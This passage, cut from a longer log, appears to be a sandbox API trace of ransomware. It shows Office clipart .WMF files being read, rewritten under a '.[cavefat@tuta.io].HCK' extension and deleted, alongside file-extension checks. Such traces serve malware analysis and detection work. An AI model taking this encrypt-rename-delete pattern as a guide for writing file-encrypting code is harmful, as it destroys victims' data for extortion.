Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.614] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.614] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.619] GetLastError () returned 0x0 [0170.619] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x13c4, lpOverlapped=0x0) returned 1 [0170.621] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0170.623] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.623] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.623] SetEndOfFile (hFile=0x2ec) returned 1 [0170.627] CloseHandle (hObject=0x2ec) returned 1 [0170.629] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.629] SetEndOfFile (hFile=0x308) returned 1 [0170.633] CloseHandle (hObject=0x308) returned 1 [0170.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.634] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199465.wmf")) returned 1 [0170.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.636] lstrlenW (lpString=".doc") returned 4 [0170.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString=".docx") returned 5 [0170.636] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.636] lstrlenW (lpString=".pdf") returned 4 [0170.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString=".xls") returned 4 [0170.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.636] lstrlenW (lpString=".xlsx") returned 5 [0170.636] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.636] lstrlenW (lpString=".ppt") returned 4 [0170.636] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.636] lstrlenW (lpString=".zip") returned 4 [0170.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.636] lstrlenW (lpString=".rar") returned 4 [0170.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString=".bz2") returned 4 [0170.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString=".7z") returned 3 [0170.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.636] lstrlenW (lpString=".dbf") returned 4 [0170.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.636] lstrlenW (lpString=".1cd") returned 4 [0170.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".jpg") returned 4 [0170.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".doc") returned 4 [0170.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString=".docx") returned 5 [0170.637] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0170.637] lstrlenW (lpString=".pdf") returned 4 [0170.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString=".xls") returned 4 [0170.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.637] lstrlenW (lpString=".xlsx") returned 5 [0170.637] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0170.637] lstrlenW (lpString=".ppt") returned 4 [0170.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".zip") returned 4 [0170.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.637] lstrlenW (lpString=".rar") returned 4 [0170.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString=".bz2") returned 4 [0170.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString=".7z") returned 3 [0170.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".dbf") returned 4 [0170.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".1cd") returned 4 [0170.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199465.WMF") returned 68 [0170.637] lstrlenW (lpString=".jpg") returned 4 [0170.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.637] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.637] lstrlenW (lpString="J0199483.WMF") returned 12 [0170.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0170.643] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=10164) returned 1 [0170.644] CloseHandle (hObject=0x30c) returned 1 [0170.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf")) returned 0x220 [0170.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.652] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.652] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.657] GetLastError () returned 0x0 [0170.657] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x27b4, lpOverlapped=0x0) returned 1 [0170.660] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x27c0, lpOverlapped=0x0) returned 1 [0170.660] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.660] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.661] SetEndOfFile (hFile=0x380) returned 1 [0170.664] CloseHandle (hObject=0x380) returned 1 [0170.666] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.666] SetEndOfFile (hFile=0x39c) returned 1 [0170.670] CloseHandle (hObject=0x39c) returned 1 [0170.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0199483.wmf")) returned 1 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.677] lstrlenW (lpString=".doc") returned 4 [0170.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString=".docx") returned 5 [0170.677] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.677] lstrlenW (lpString=".pdf") returned 4 [0170.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.677] lstrlenW (lpString=".xls") returned 4 [0170.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.678] lstrlenW (lpString=".xlsx") returned 5 [0170.678] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.678] lstrlenW (lpString=".ppt") returned 4 [0170.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".zip") returned 4 [0170.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.678] lstrlenW (lpString=".rar") returned 4 [0170.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString=".bz2") returned 4 [0170.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString=".7z") returned 3 [0170.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".dbf") returned 4 [0170.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".1cd") returned 4 [0170.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".jpg") returned 4 [0170.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".doc") returned 4 [0170.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString=".docx") returned 5 [0170.678] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.678] lstrlenW (lpString=".pdf") returned 4 [0170.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString=".xls") returned 4 [0170.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.678] lstrlenW (lpString=".xlsx") returned 5 [0170.678] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.678] lstrlenW (lpString=".ppt") returned 4 [0170.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.678] lstrlenW (lpString=".zip") returned 4 [0170.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.678] lstrlenW (lpString=".rar") returned 4 [0170.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.678] lstrlenW (lpString=".bz2") returned 4 [0170.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.679] lstrlenW (lpString=".7z") returned 3 [0170.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.679] lstrlenW (lpString=".dbf") returned 4 [0170.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.679] lstrlenW (lpString=".1cd") returned 4 [0170.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0199483.WMF") returned 68 [0170.679] lstrlenW (lpString=".jpg") returned 4 [0170.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.679] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.679] lstrlenW (lpString="J0200189.WMF") returned 12 [0170.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0170.680] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8060) returned 1 [0170.680] CloseHandle (hObject=0x39c) returned 1 [0170.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf")) returned 0x220 [0170.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.689] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.689] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0170.693] GetLastError () returned 0x0 [0170.693] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1f7c, lpOverlapped=0x0) returned 1 [0170.695] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1f80, lpOverlapped=0x0) returned 1 [0170.696] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.696] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.696] SetEndOfFile (hFile=0x2ec) returned 1 [0170.698] CloseHandle (hObject=0x2ec) returned 1 [0170.700] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.700] SetEndOfFile (hFile=0x308) returned 1 [0170.704] CloseHandle (hObject=0x308) returned 1 [0170.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200189.wmf")) returned 1 [0170.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.709] lstrlenW (lpString=".doc") returned 4 [0170.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.709] lstrlenW (lpString=".docx") returned 5 [0170.709] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.709] lstrlenW (lpString=".pdf") returned 4 [0170.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".xls") returned 4 [0170.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.710] lstrlenW (lpString=".xlsx") returned 5 [0170.710] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.710] lstrlenW (lpString=".ppt") returned 4 [0170.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".zip") returned 4 [0170.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.710] lstrlenW (lpString=".rar") returned 4 [0170.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".bz2") returned 4 [0170.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".7z") returned 3 [0170.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".dbf") returned 4 [0170.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".1cd") returned 4 [0170.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".jpg") returned 4 [0170.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".doc") returned 4 [0170.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".docx") returned 5 [0170.710] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0170.710] lstrlenW (lpString=".pdf") returned 4 [0170.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".xls") returned 4 [0170.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.710] lstrlenW (lpString=".xlsx") returned 5 [0170.710] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0170.710] lstrlenW (lpString=".ppt") returned 4 [0170.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".zip") returned 4 [0170.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.710] lstrlenW (lpString=".rar") returned 4 [0170.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".bz2") returned 4 [0170.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString=".7z") returned 3 [0170.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.710] lstrlenW (lpString=".dbf") returned 4 [0170.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.711] lstrlenW (lpString=".1cd") returned 4 [0170.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200189.WMF") returned 68 [0170.711] lstrlenW (lpString=".jpg") returned 4 [0170.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.711] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.711] lstrlenW (lpString="J0200289.WMF") returned 12 [0170.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.718] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=41136) returned 1 [0170.718] CloseHandle (hObject=0x308) returned 1 [0170.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf")) returned 0x220 [0170.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.725] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 